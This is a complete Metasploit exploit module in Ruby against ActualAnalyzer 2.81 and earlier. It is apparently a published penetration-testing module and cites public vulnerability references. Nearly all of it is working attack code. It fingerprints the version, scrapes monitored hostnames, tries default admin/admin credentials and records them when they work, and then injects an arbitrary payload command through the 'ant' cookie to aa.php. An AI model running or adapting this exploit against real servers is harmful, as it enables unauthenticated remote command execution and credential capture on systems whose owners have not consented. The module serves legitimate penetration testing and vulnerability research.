require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update_info(
info,
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution" ,
'Description' => %q{
This module exploits a command execution vulnerability in
ActualAnalyzer version 2 . 81 and prior.
The 'aa.php' file allows unauthenticated users to
execute arbitrary commands in the 'ant' cookie.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Benjamin Harris' ,
'Brendan Coles <bcoles[at]gmail.com>'
],
'References' =>
[
[ 'EDB' , '34450' ],
[ 'OSVDB' , '110601' ]
],
'Payload' =>
{
'Space' => 4096 ,
'DisableNops' => true ,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD ,
'Platform' => 'unix' ,
'Targets' =>
[
[ 'ActualAnalyzer <= 2.81' , { 'auto' => true }]
],
'Privileged' => false ,
'DisclosureDate' => 'Aug 28 2014' ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'TARGETURI' , [ true , 'The base path to ActualAnalyzer' , '/lite/' ]),
OptString. new ( 'USERNAME' , [ false , 'The username for ActualAnalyzer' , 'admin' ]),
OptString. new ( 'PASSWORD' , [ false , 'The password for ActualAnalyzer' , 'admin' ]),
OptString. new ( 'ANALYZER_HOST' , [ false , 'A hostname or IP monitored by ActualAnalyzer' , '' ])
], self . class )
end
def check
res = send_request_raw( 'uri' => normalize_uri(target_uri.path, 'aa.php' ))
if !res
vprint_error( "#{peer} - Connection failed" )
return Exploit::CheckCode::Unknown
elsif res.code == 404
vprint_error( "#{peer} - Could not find aa.php" )
return Exploit::CheckCode::Safe
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
vprint_error( "#{peer} - ActualAnalyzer is not installed. Try installing first." )
return Exploit::CheckCode::Detected
end
res = send_request_raw( 'uri' => normalize_uri(target_uri.path, 'view.php' ))
if !res
vprint_error( "#{peer} - Connection failed" )
return Exploit::CheckCode::Unknown
elsif res.code == 200 && /title= "ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)" / =~ res.body
vprint_status( "#{peer} - Found version: #{version}" )
if Gem::Version. new (version) <= Gem::Version. new ( '2.81' )
report_vuln(
host: rhost,
name: self .name,
info: "Module #{fullname} detected ActualAnalyzer #{version}" ,
refs: references,
)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Detected
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def get_analytics_host_view
analytics_host = nil
res = send_request_cgi(
'method' => 'POST' ,
'uri' => normalize_uri(target_uri.path, 'view.php' ),
'vars_post' => {
'id_h' => '' ,
'listp' => '' ,
'act_h' => 'vis_int' ,
'oldact' => 'vis_grpg' ,
'tint_h' => '' ,
'extact_h' => '' ,
'home_pos' => '' ,
'act' => 'vis_grpg' ,
'tint' => 'total' ,
'grpg' => '201' ,
'cp_vst' => 'on' ,
'cp_hst' => 'on' ,
'cp_htst' => 'on' ,
'cp_reps' => 'y' ,
'tab_sort' => '1_1'
}
)
if !res
vprint_error( "#{peer} - Connection failed" )
elsif /<option value= "?[\d]+" ?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
vprint_good( "#{peer} - Found analytics host: #{analytics_host}" )
return analytics_host
else
vprint_status( "#{peer} - Could not find any hosts on view.php" )
end
nil
end
def get_analytics_host_code
analytics_host = nil
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'code.php' ),
'vars_get' => {
'pid' => '1'
}
)
if !res
vprint_error( "#{peer} - Connection failed" )
elsif res.code == 200 && /alt= 'ActualAnalyzer' src= 'https?:\/\/(?<analytics_host>[^\/^' ]+)/ =~ res.body
vprint_good( "#{peer} - Found analytics host: #{analytics_host}" )
return analytics_host
else
vprint_status( "#{peer} - Could not find any hosts on code.php" )
end
nil
end
def get_analytics_host_admin
analytics_host = nil
user = datastore[ 'USERNAME' ]
pass = datastore[ 'PASSWORD' ]
res = send_request_cgi(
'method' => 'POST' ,
'uri' => normalize_uri(target_uri.path, 'admin.php' ),
'vars_post' => {
'uname' => user,
'passw' => pass,
'id_h' => '' ,
'listp' => '' ,
'act_h' => '' ,
'oldact' => 'pages' ,
'tint_h' => '' ,
'extact_h' => '' ,
'param_h' => '' ,
'param2_h' => '' ,
'home_pos' => '' ,
'act' => 'dynhtml' ,
'set.x' => '11' ,
'set.y' => '11'
}
)
if !res
vprint_error( "#{peer} - Connection failed" )
elsif res.code == 200 && res.body =~ />Login</
vprint_status( "#{peer} - Login failed." )
elsif res.code == 200 && /alt= 'ActualAnalyzer' src= 'https?:\/\/(?<analytics_host>[^\/^' ]+)/ =~ res.body
vprint_good( "#{peer} - Found analytics host: #{analytics_host}" )
print_good( "#{peer} - Login successful! (#{user}:#{pass})" )
service_data = {
address: Rex::Socket.getaddress(rhost, true ),
port: rport,
service_name: (ssl ? 'https' : 'http' ),
protocol: 'tcp' ,
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service ,
module_fullname: fullname,
private_type: :password ,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status:: SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
return analytics_host
else
vprint_status( "#{peer} - Could not find any hosts on admin.php" )
end
nil
end
def execute_command(cmd, opts = { analytics_host: vhost })
vuln_cookies = %w(anw anm)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'aa.php' ),
'vars_get' => { 'anp' => opts[ :analytics_host ] },
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
)
if !res
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out" )
elsif res.code == 302 && res.headers[ 'Content-Type' ] =~ /image/
print_good( "#{peer} - Payload sent successfully" )
return true
elsif res.code == 302 && res.headers[ 'Location' ] =~ /error\.gif/
vprint_status( "#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer." )
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first." )
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong" )
end
nil
end
def exploit
return unless check == Exploit::CheckCode::Vulnerable
analytics_hosts = []
if datastore[ 'ANALYZER_HOST' ].blank?
analytics_hosts << get_analytics_host_code
analytics_hosts << get_analytics_host_view
analytics_hosts << get_analytics_host_admin
analytics_hosts << vhost
analytics_hosts << '127.0.0.1'
analytics_hosts << 'localhost'
else
analytics_hosts << datastore[ 'ANALYZER_HOST' ]
end
analytics_hosts.uniq. each do |host|
next if host. nil ?
vprint_status( "#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)..." )
break if execute_command(payload.encoded, analytics_host: host)
end
end
end
|